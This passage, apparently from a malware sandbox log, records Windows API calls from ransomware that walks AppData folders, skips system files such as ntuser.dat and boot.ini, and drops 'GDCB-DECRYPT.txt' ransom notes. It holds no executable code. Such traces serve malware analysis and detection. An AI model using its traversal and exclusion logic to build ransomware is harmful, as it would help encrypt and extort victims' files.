lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0135.629] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.629] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0135.629] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0135.629] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0135.629] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.629] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.629] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.629] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.629] lstrcmpW (lpString1="Preferred", lpString2=".") returned 1 [0135.629] lstrcmpW (lpString1="Preferred", lpString2="..") returned 1 [0135.629] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" [0135.629] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.629] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111 [0135.629] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111 [0135.629] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.629] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.629] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.630] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.630] lstrcmpW (lpString1="SYNCHIST", lpString2=".") returned 1 [0135.630] lstrcmpW (lpString1="SYNCHIST", lpString2="..") returned 1 [0135.630] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0135.630] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.630] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64 [0135.630] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64 [0135.630] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.630] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.630] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.630] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.630] lstrcmpW (lpString1="Speech", lpString2=".") returned 1 [0135.630] lstrcmpW (lpString1="Speech", lpString2="..") returned 1 [0135.630] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0135.630] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\" [0135.630] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.630] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.630] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.630] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.630] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.630] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.631] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned 55 [0135.631] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*" [0135.631] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.631] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.631] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.631] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.631] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.631] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.631] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.631] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.631] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt" [0135.631] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0135.631] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.631] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.631] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.631] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.631] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\\\GDCB-DECRYPT.txt") returned 72 [0135.631] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\speech\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.631] GetLastError () returned 0x50 [0135.631] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned 55 [0135.632] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*" [0135.632] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.632] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.632] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.632] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.632] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.632] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.632] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.632] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.632] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt" [0135.632] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.632] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0135.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0135.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0135.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.632] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.632] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.632] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.632] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0135.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\" [0135.633] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.633] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned 67 [0135.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" [0135.633] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7ac0 [0135.633] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.633] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.633] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.633] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.633] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.633] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.633] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt" [0135.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0135.633] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.633] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.633] lstrcmpW (lpString1="My", lpString2=".") returned 1 [0135.633] lstrcmpW (lpString1="My", lpString2="..") returned 1 [0135.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0135.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 69 [0135.633] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.633] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.633] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.634] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\\\GDCB-DECRYPT.txt") returned 84 [0135.634] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.634] GetLastError () returned 0x50 [0135.634] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.634] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned 67 [0135.634] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" [0135.634] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.634] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.634] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt" [0135.634] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.634] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0135.634] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0135.634] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0135.634] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.634] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.634] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.635] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0135.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0135.635] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.635] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.635] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned 70 [0135.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" [0135.635] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7900 [0135.635] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.635] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.635] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.635] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.635] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.635] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2=".") returned 1 [0135.635] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2="..") returned 1 [0135.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" [0135.635] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94 [0135.635] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.635] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1 [0135.635] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1 [0135.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0135.635] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 82 [0135.635] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.635] lstrcmpW (lpString1="CRLs", lpString2=".") returned 1 [0135.635] lstrcmpW (lpString1="CRLs", lpString2="..") returned 1 [0135.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0135.635] lstrlenW 